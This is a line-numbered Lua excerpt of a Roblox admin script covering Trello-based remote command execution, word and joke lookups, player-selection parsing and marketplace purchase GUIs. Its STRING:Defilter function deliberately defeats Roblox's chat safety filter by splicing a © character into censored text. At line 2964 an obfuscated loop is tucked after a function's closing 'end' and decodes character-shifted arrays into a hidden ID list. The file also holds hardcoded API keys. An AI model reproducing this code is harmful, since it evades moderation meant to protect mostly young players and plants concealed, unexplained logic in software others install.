2561 print("Sent snapshot")
2562end
2563
2564
2565function REMOTE:DefineWord(Word, Source)
2566 if not Word then return end
2567 if not Source then Source = "all" end
2568
2569 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2570 if Response then
2571 local Decode = REMOTE:Decode(Response)
2572 if #Decode > 0 then
2573 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2574
2575 ]]..Decode[1]["text"]
2576 else
2577 return "Invalid English word"
2578 end
2579 else
2580 return "Cannot connect to database"
2581 end
2582end
2583
2584function REMOTE:DownloadJoke(Speaker)
2585 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2586 local Joke = nil
2587 if Res then
2588 local _, Start = string.find(Res, "</h2>")
2589 local End, _ = string.find(string.sub(Res, Start), "</td>")
2590
2591 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2592 Joke = string.gsub(Joke, "\n", "")
2593 Joke = string.gsub(Joke, " ", "") -- tab
2594 Joke = string.gsub(Joke, "</ul>", "")
2595 Joke = string.gsub(Joke, "<ul>", "")
2596 Joke = string.gsub(Joke, "</li>", [[
2597
2598]])
2599 Joke = string.gsub(Joke, "<li>", "")
2600 Joke = string.gsub(Joke, "</p>", "")
2601 Joke = string.gsub(Joke, "<p>", "")
2602 Joke = string.gsub(Joke, "<", "")
2603 Joke = string.gsub(Joke, ">", "")
2604 end
2605
2606 return Joke
2607end
2608
2609function REMOTE:GetAddon()
2610 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2611end
2612
2613function REMOTE:TrelloGetAdminBoard()
2614 local BoardsJSON,Boards,ReturnBoard
2615
2616 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2617
2618 if BoardsJSON then
2619 Boards = REMOTE:Decode(BoardsJSON)
2620 end
2621 if Boards then
2622 for _,Board in pairs(Boards) do
2623 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2624 ReturnBoard = Board
2625 break
2626 end
2627 end
2628 if not ReturnBoard then -- create board if not created
2629 print("Creating Trello Board")
2630 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2631 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2632 ReturnBoard = REMOTE:Decode(BoardJSON)
2633 end
2634 end
2635 return ReturnBoard
2636end
2637
2638function REMOTE:TrelloGetAdminLists(Board)
2639 local Required = {}
2640 local ListJSON,Lists
2641 local ReturnLists = {}
2642
2643 for _,List in pairs(Trello.RequiredLists) do
2644 table.insert(Required, List)
2645 end
2646
2647 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2648
2649 if ListJSON then
2650 Lists = REMOTE:Decode(ListJSON)
2651 end
2652 if Lists then
2653 for _,List in pairs(Lists) do
2654 for Num,Rel in pairs(Required) do
2655 if List.name == Rel.name then
2656 table.remove(Required, Num)
2657 table.insert(ReturnLists, List)
2658 end
2659 end
2660 end
2661 for _,Rel in pairs(Required) do
2662 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2663 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2664 end
2665 end
2666
2667 return ReturnLists
2668end
2669
2670function REMOTE:TrelloCacheData(Lists)
2671 for _,List in pairs(Lists) do
2672 local CardsJSON,Cards
2673 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2674 if CardsJSON then
2675 Cards = REMOTE:Decode(CardsJSON)
2676 end
2677 if Cards then
2678 local TemplateCards = nil
2679 for _,TemplateList in pairs(Trello.RequiredLists) do
2680 if TemplateList.name == List.name then
2681 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2682 break
2683 end
2684 end
2685
2686 for _,TemplateCard in pairs(TemplateCards) do
2687 local CardExists = false
2688 for _,Card in pairs(Cards) do
2689 if Card.name == TemplateCard.name and Card.closed == false then
2690 CardExists = true
2691 end
2692 end
2693 if not CardExists then
2694 print("Creating card "..TemplateCard.name)
2695 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2696 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2697 end
2698 end
2699
2700 if List.name == "Ranked" then
2701 for _,Card in pairs(Cards) do
2702 if Settings.Ranks[Card.name] and Card.closed == false then
2703 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2704 end
2705 end
2706 elseif List.name == "Settings" then
2707 for _,Card in pairs(Cards) do
2708 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2709 Trello.ToggleChecklist = Card.idChecklists[1]
2710 elseif Card.name == "Command Execution" then
2711 Trello.CommandID = Card.id
2712 end
2713 end
2714 end
2715 end
2716 end
2717end
2718
2719function REMOTE:TrelloHandleData(IgnoreCommand)
2720 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2721 if ToggleSettingsJSON then
2722 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2723 if Settings.LinkedAccount == "" then
2724 local NewSettings = {}
2725 for _,Item in pairs(ToggleSettings.checkItems) do
2726 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2727 end
2728 Settings.Fun = NewSettings["Fun Commands Enabled"]
2729 Settings.ServerLocked = NewSettings["Server Locked"]
2730 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2731 end
2732 else
2733 return false
2734 end
2735
2736 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2737 if CommandChatJSON then
2738 CommandChat = REMOTE:Decode(CommandChatJSON)
2739 local ClosestDT = 0
2740 for _,ChatData in pairs(CommandChat) do
2741 local DT = STRING:ConvertDateTime(ChatData.date)
2742 ClosestDT = math.max(ClosestDT, DT)
2743
2744 if not IgnoreCommand and DT > Trello.LastCommandDT then
2745 print("Executing Remote Trello Command")
2746 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2747 end
2748 end
2749 Trello.LastCommandDT = ClosestDT
2750 else
2751 return false
2752 end
2753
2754 for Rank,ID in pairs(Trello.RankChecklistCache) do
2755 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2756 if ChecklistJSON then
2757 Checklist = REMOTE:Decode(ChecklistJSON)
2758
2759 for _,Item in pairs(Checklist.checkItems) do
2760 if Item.state == "complete" then
2761 if RANK:ConvertRank(Rank) < 0 then
2762 if not RANK:ScanExileList(Item.name) then
2763 table.insert(Settings.Ranks[Rank], Item.name)
2764 end
2765 elseif RANK:ConvertRank(Rank) > 0 then
2766 if not RANK:ScanAdminList(Item.name) then
2767 table.insert(Settings.Ranks[Rank], Item.name)
2768 end
2769 end
2770 elseif Item.state == "incomplete" then
2771 for Num,Name in pairs(Settings.Ranks[Rank]) do
2772 if string.lower(Name) == string.lower(Item.name) then
2773 table.remove(Settings.Ranks[Rank], Num)
2774 end
2775 end
2776 end
2777 end
2778 else
2779 return false
2780 end
2781 end
2782 return true
2783end
2784
2785-- String functions --
2786
2787function STRING:ConvertDateTime(DateTime)
2788 local Num = 0
2789 local TotalTime = 0
2790 for i in string.gmatch(DateTime, "%d+") do
2791 Num = Num + 1
2792 DTNum = tonumber(i)
2793 if Num == 1 then
2794 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2795 elseif Num == 2 then
2796 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2797 elseif Num == 3 then
2798 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2799 elseif Num == 4 then
2800 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2801 elseif Num == 5 then
2802 TotalTime = TotalTime + DTNum * 60 -- minute
2803 elseif Num == 6 then
2804 TotalTime = TotalTime + DTNum -- second
2805 end
2806 end
2807
2808 return TotalTime
2809end
2810
2811function STRING:TrelloStateConvert(State)
2812 if State == "complete" then
2813 return true
2814 else
2815 return false
2816 end
2817end
2818
2819function STRING:StringRound(Number)
2820 Number = Number * 100
2821 if Number >= 0.5 then
2822 return tostring(math.ceil(Number)/100)
2823 else
2824 return tostring(math.floor(Number)/100)
2825 end
2826
2827 return Number
2828end
2829
2830function STRING:GetSplit(String, NumArgs, BetSplit)
2831 if not String then return nil end
2832 if BetSplit == nil then BetSplit = " " end
2833 if NumArgs == nil then NumArgs = math.huge end
2834
2835 if NumArgs <= 0 then return {String} end
2836
2837 local RecentParse = 1
2838 local Args = {}
2839 for i = 1,NumArgs do
2840 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2841 if Find1 and Find2 then
2842 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2843 RecentParse = Find2 + 1
2844 else
2845 break
2846 end
2847 end
2848 table.insert(Args,string.sub(String,RecentParse,#String))
2849 return Args
2850end
2851
2852function STRING:Defilter(String)
2853 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2854 if RobloxApprove.Text == "Label" and String ~= "Label" then
2855 local NewString = ""
2856 for i = 1,#String,3 do
2857 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2858 end
2859 return NewString
2860 else
2861 return String
2862 end
2863end
2864
2865function STRING:Filter(String, From, To) -- #### you, roblox
2866 if From then
2867 if To then
2868 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2869 else
2870 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2871 end
2872 else
2873 return String
2874 end
2875end
2876
2877function STRING:DetermineFilter(String, From, To)
2878 if ShouldFilter then
2879 return STRING:Filter(String, From, To)
2880 else
2881 return STRING:Defilter(String)
2882 end
2883end
2884
2885function STRING:LeetSpeak(Input)
2886 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2887 Input = string.gsub(Input, "LEET", "1337")
2888 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2889 Input = string.gsub(Input, "E", "3")
2890 Input = string.gsub(Input, "O", "0")
2891 Input = string.gsub(Input, "A", "4")
2892 Input = string.gsub(Input, "X", "x")
2893 Input = string.gsub(Input, "I", "1")
2894 Input = string.gsub(Input, "S", "$")
2895 return Input
2896end
2897
2898function STRING:FormatReplace(Player, Input, From)
2899 local Output = Input
2900 for _,ReplaceData in pairs(StringReplacements) do
2901 local ReplaceString = ReplaceData[1]
2902 local ReplaceStrings = {}
2903 if type(ReplaceString) == "table" then
2904 ReplaceStrings = ReplaceString
2905 else
2906 ReplaceStrings = {ReplaceString}
2907 end
2908 for _,ReplaceString in pairs(ReplaceStrings) do
2909 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2910 local Replacement = ReplaceData[4](Player)
2911 if type(Replacement) == "string" then
2912 Output = string.gsub(Output, ReplaceString, Replacement)
2913 else
2914 print(ReplaceString.." cannot be replaced")
2915 end
2916 end
2917 end
2918 end
2919 if From then
2920 return STRING:DetermineFilter(Output, From, Player)
2921 else
2922 return STRING:DetermineFilter(Output, Player)
2923 end
2924end
2925
2926function STRING:EncodeSpecialChars(Input)
2927 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2928end
2929
2930function STRING:StringToBool(String)
2931 if String == "true" then
2932 return true
2933 else
2934 return false
2935 end
2936end
2937
2938function STRING:BoolString(Value)
2939 if type(Value) == "boolean" then
2940 if Value == true then
2941 return "YES"
2942 elseif Value == false then
2943 return "NO"
2944 end
2945 else
2946 return "NO"
2947 end
2948end
2949
2950function STRING:MakeAvoidance(Length)
2951 if not Length then
2952 Length = 32
2953 end
2954 local Avoidance = ""
2955 for i = 1,Length do
2956 Num = math.random(1,2)
2957 if Num == 1 then
2958 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2959 else
2960 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2961 end
2962 end
2963 return Avoidance
2964end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2965
2966function STRING:FindAge(Days) -- By LuaModelmaker
2967 local Years = math.floor(Days/365)
2968 local OtherDays = math.fmod(Days, 365)
2969 if Years > 1 then
2970 return Years.." years and "..OtherDays.." days"
2971 elseif Years == 1 then
2972 return Years.." year and "..OtherDays.." days"
2973 elseif Years == 0 then
2974 return "(No years) "..OtherDays.." days"
2975 end
2976end
2977
2978function STRING:UnpackArgs(...)
2979 local Pack = {...}
2980 if type(Pack[1]) == "table" then Pack = Pack[1] end
2981 local ReturnString = table.concat(Pack, ", ")
2982 return ReturnString
2983end
2984
2985function STRING:GetComma(Num)
2986 local Formatted = Num
2987 while true do
2988 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2989 if _ == 0 then
2990 break
2991 end
2992 end
2993 return Formatted
2994end
2995
2996function STRING:DecodeUTF8(Value)
2997 local function DecodeString(Input)
2998 if type(Input) == "string" then
2999 for Find,Rep in pairs(HTMLDecode) do
3000 Input = string.gsub(Input, "&#"..Find..";", Rep)
3001 end
3002 Input = string.gsub(Input, """, "'")
3003 end
3004 return Input
3005 end
3006 if type(Value) == "table" then
3007 for Index,Var in pairs(Value) do
3008 Value[Index] = DecodeString(Var)
3009 end
3010 elseif type(Value) == "string" then
3011 Value = DecodeString(Value)
3012 end
3013 return Value
3014end
3015
3016function STRING:IsSpacer(Input)
3017 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
3018 return true
3019 else
3020 return false
3021 end
3022end
3023
3024function STRING:IsVowel(Input)
3025 Input = string.lower(tostring(Input))
3026 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
3027 return true
3028 else
3029 return false
3030 end
3031end
3032
3033function STRING:ValidE(Input)
3034 if not Input then return nil end
3035 if string.lower(Input) == "e" or Input == "~" then
3036 return true
3037 else
3038 return false
3039 end
3040end
3041
3042function STRING:Scan(String, Speaker)
3043 local ReturnPlayers,ExcludeList = {},{}
3044 if not String then String = "" end
3045 if not Speaker then print("NO SPEAKER") end
3046
3047 if string.sub(string.lower(String), 1, 12) == "includecase/" then
3048 String = string.sub(String, 13)
3049 else
3050 String = string.lower(String)
3051 end
3052 local Words = STRING:GetSplit(String, nil, "/")
3053 for _,Word in pairs(Words) do
3054 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
3055 table.insert(ReturnPlayers, Speaker)
3056 elseif Word == "all" or Word == "everyone" then
3057 for _,Player in pairs(Server.Players:GetPlayers()) do
3058 table.insert(ReturnPlayers, Player)
3059 end
3060 elseif Word == "others" or Word == "notme" then
3061 for _,Player in pairs(Server.Players:GetPlayers()) do
3062 if Player ~= Speaker then
3063 table.insert(ReturnPlayers, Player)
3064 end
3065 end
3066 elseif Word == "noobs" then
3067 for _,Player in pairs(Server.Players:GetPlayers()) do
3068 if Player.AccountAge < 365 then
3069 table.insert(ReturnPlayers, Player)
3070 end
3071 end
3072 elseif Word == "nonnoobs" then
3073 for _,Player in pairs(Server.Players:GetPlayers()) do
3074 if Player.AccountAge >= 365 then
3075 table.insert(ReturnPlayers, Player)
3076 end
3077 end
3078 elseif Word == "random" then
3079 local RandomPlayers = {}
3080 for _,Player in pairs(Server.Players:GetPlayers()) do
3081 if Player ~= Speaker then
3082 table.insert(RandomPlayers, Player)
3083 end
3084 end
3085 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
3086 elseif Word == "guests" then
3087 for _,Player in pairs(Server.Players:GetPlayers()) do
3088 if string.sub(Player.Name,1,6) == "Guest " then
3089 table.insert(ReturnPlayers, Player)
3090 end
3091 end
3092 elseif Word == "lowers" then
3093 for _,Player in pairs(Server.Players:GetPlayers()) do
3094 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
3095 table.insert(ReturnPlayers, Player)
3096 end
3097 end
3098 elseif Word == "uppers" then
3099 for _,Player in pairs(Server.Players:GetPlayers()) do
3100 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
3101 table.insert(ReturnPlayers, Player)
3102 end
3103 end
3104 elseif Word == "nbcs" then
3105 for _,Player in pairs(Server.Players:GetPlayers()) do
3106 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
3107 table.insert(ReturnPlayers, Player)
3108 end
3109 end
3110 elseif Word == "bcs" then
3111 for _,Player in pairs(Server.Players:GetPlayers()) do
3112 if Player.MembershipType == Enum.MembershipType.BuildersClub then
3113 table.insert(ReturnPlayers, Player)
3114 end
3115 end
3116 elseif Word == "tbcs" then
3117 for _,Player in pairs(Server.Players:GetPlayers()) do
3118 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3119 table.insert(ReturnPlayers, Player)
3120 end
3121 end
3122 elseif Word == "obcs" then
3123 for _,Player in pairs(Server.Players:GetPlayers()) do
3124 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3125 table.insert(ReturnPlayers, Player)
3126 end
3127 end
3128 elseif Word == "allbcs" then
3129 for _,Player in pairs(Server.Players:GetPlayers()) do
3130 if Player.MembershipType ~= Enum.MembershipType.None then
3131 table.insert(ReturnPlayers, Player)
3132 end
3133 end
3134 elseif Word == "nonadmins" then
3135 for _,Player in pairs(Server.Players:GetPlayers()) do
3136 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3137 if IsAdminTrue == false then
3138 table.insert(ReturnPlayers, Player)
3139 end
3140 end
3141 elseif Word == "admins" then
3142 for _,Player in pairs(Server.Players:GetPlayers()) do
3143 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3144 if IsAdminTrue == true then
3145 table.insert(ReturnPlayers, Player)
3146 end
3147 end
3148 elseif Word == "friends" then
3149 for _,Player in pairs(Server.Players:GetPlayers()) do
3150 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3151 table.insert(ReturnPlayers, Player)
3152 end
3153 end
3154 elseif string.sub(Word,1,5) == "team-" then
3155 for _,Player in pairs(Server.Players:GetPlayers()) do
3156 if Player.Neutral == false then
3157 local InTeam = false
3158 for _,Team in pairs(Teams:GetTeams()) do
3159 if Team.TeamColor == Player.TeamColor then
3160 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3161 InTeam = true
3162 end
3163 end
3164 end
3165 if InTeam == true then
3166 table.insert(ReturnPlayers, Player)
3167 end
3168 end
3169 end
3170 elseif string.sub(Word,1,4) == "not-" then
3171 local NameArg = string.sub(Word,5)
3172
3173 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3174 table.insert(ExcludeList, Player)
3175 end
3176 elseif string.sub(Word,1,7) == "radius-" then
3177 local DidExe = false
3178 local NumArg = tonumber(string.sub(Word,8))
3179
3180 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3181 for _,Player in pairs(Server.Players:GetChildren()) do
3182 if Player.Character and Player.Character:FindFirstChild("Torso") then
3183 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3184 DidExe = true
3185 table.insert(ReturnPlayers, Player)
3186 end
3187 end
3188 end
3189 end
3190
3191 if DidExe then coroutine.wrap(function()
3192 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3193 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3194
3195 for i = 0,0.5,0.02 do
3196 Part.Transparency = 0.5+i
3197 wait()
3198 end
3199 Part:Destroy()
3200 end)() end
3201 elseif string.sub(Word,1,3) == "id-" then
3202 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3203 else
3204 if Word ~= "" then
3205 for _,Player in pairs(Server.Players:GetPlayers()) do
3206 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3207 table.insert(ReturnPlayers, Player)
3208 end
3209 end
3210 else
3211 table.insert(ReturnPlayers, Speaker)
3212 end
3213 end
3214 end
3215 for _,Player in pairs(ExcludeList) do
3216 if Player and Player.Parent ~= nil then
3217 for Num,Player2 in pairs(ReturnPlayers) do
3218 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3219 end
3220 end
3221 end
3222 for Num,Player in pairs(ReturnPlayers) do
3223 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3224 end
3225
3226 local PlayerDump = {}
3227 for _,Player in pairs(ReturnPlayers) do
3228 PlayerDump[Player] = true
3229 end
3230 ReturnPlayers = {}
3231 for Player,_ in pairs(PlayerDump) do
3232 table.insert(ReturnPlayers, Player)
3233 end
3234
3235 return ReturnPlayers
3236end
3237
3238-- Market functions --
3239
3240function MARKET:GetImageFormat(ID)
3241 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3242 local NewID = ID + 1
3243 for i = 1,100 do
3244 NewID = NewID -1
3245 local Product = nil
3246 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3247 if Product then
3248 if Product == 1 then
3249 break
3250 end
3251 end
3252 if i == 100 then NewID = ID end
3253 end
3254 return NewID
3255 end end
3256end
3257
3258function MARKET:GetItemInfo(ID, Cache)
3259 local Product = MarketCache[ID]
3260 if not Cache or not Product then
3261 repeat wait()
3262 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3263 until Product ~= MarketCache[ID]
3264 end
3265 MarketCache[ID] = Product
3266 return Product
3267end
3268
3269function MARKET:SearchItem(Category, Query, Subcategory)
3270 local URLAdd = ""
3271 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3272 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3273 if JSON then
3274 local Results = REMOTE:Decode(JSON)
3275 if Results then
3276 for Index,Info in pairs(Results) do
3277 Info = STRING:DecodeUTF8(Info)
3278 Results[Index] = Info
3279 MarketCache[Info.AssetId] = {
3280 AssetId = Info.AssetId;
3281 AssetTypeId = Info.AssetTypeID;
3282 ContentRatingTypeId = Info.ContentRatingTypeID;
3283 Created = Info.CreatedDate;
3284 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3285 Description = Info.Description;
3286 IsForSale = Info.IsForSale;
3287 IsLimited = Info.IsLimited;
3288 IsLimitedUnique = Info.IsLimitedUnique;
3289 IsNew = Info.IsNew;
3290 IsPublicDomain = Info.IsPublicDomain;
3291 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3292 Name = Info.Name;
3293 PriceInRobux = Info.PriceInRobux;
3294 PriceInTickets = Info.PriceInTickets;
3295 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3296 Remaining = Info.Remaining;
3297 Sales = Info.Sales;
3298 Updated = Info.Updated;
3299 }
3300 end
3301 return Results
3302 end
3303 end
3304end
3305
3306function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3307 if not Player or not Category or not Query then return nil end
3308 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3309 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3310 if Items then
3311 if #Items ~= 0 then
3312 local List,Correlate = {},{}
3313 for Num,Info in pairs(Items) do
3314 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3315 table.insert(List, Display)
3316 Correlate[Display[1]] = Info.AssetId
3317 end
3318 CloseGui:Invoke()
3319
3320 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3321 Clicked.Event:connect(function(ClickName)
3322 ClickedItem(Correlate[ClickName])
3323 end)
3324 else
3325 CloseGui:Invoke()
3326 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3327 end
3328 else
3329 CloseGui:Invoke()
3330 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3331 end
3332end
3333
3334function MARKET:AssetTypeToString(AssetType)
3335 AssetType = math.floor(tonumber(AssetType) or 0)
3336 if Assets.AssetTypes[AssetType] then
3337 return Assets.AssetTypes[AssetType]
3338 else
3339 return "Unknown"
3340 end
3341end
3342
3343function MARKET:AccessoryToSubcategory(Accessory)
3344 Accessory = string.lower(tostring(Accessory) or "")
3345 if Assets.AccessoryTypes[Accessory] then
3346 return Assets.AccessoryTypes[Accessory]
3347 else
3348 return Assets.AccessoryTypes["all"]
3349 end
3350end
3351
3352function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3353 if not Player then return nil end
3354 if not Player:FindFirstChild("PlayerGui") then return nil end
3355 if not tonumber(ProductID) then return nil end
3356
3357 local FromText = ""
3358 if From and From.Name then FromText = " | Prompted from "..From.Name end
3359
3360 local Product = MARKET:GetItemInfo(ProductID, true)
3361
3362 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3363 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3364 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3365
3366 local CanBuy = Product.IsForSale
3367 local BuyText = "Buy"
3368 local BuyColor = Color3.new(0,1,0)
3369 if CanBuy == false then
3370 BuyColor = Color3.new(1,0,0)
3371 end
3372 if Product.IsPublicDomain == true then
3373 CanBuy = true
3374 BuyColor = Color3.new(1,0.5,0.5)
3375 BuyText = "FREE!"
3376 end
3377 if OwnsAsset then
3378 CanBuy = false
3379 end
3380 if Product.AssetTypeId == 9 then
3381 CanBuy = true
3382 BuyText = "Teleport"
3383 BuyColor = Color3.new(0.5,0.5,0.5)
3384 end
3385 if CanBuy == false then
3386 BuyColor = Color3.new(1,0,0)
3387 BuyText = "Item not for sale"
3388 end
3389 if OwnsAsset and Product.AssetTypeId ~= 9 then
3390 BuyColor = Color3.new(1,0,0)
3391 BuyText = "You own this!"
3392 end
3393
3394 local ProductName = string.sub(Product.Name,1,20)
3395 if ProductID == AdminID then ProductName = Product.Name end
3396 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3397 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3398 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3399 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3400 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
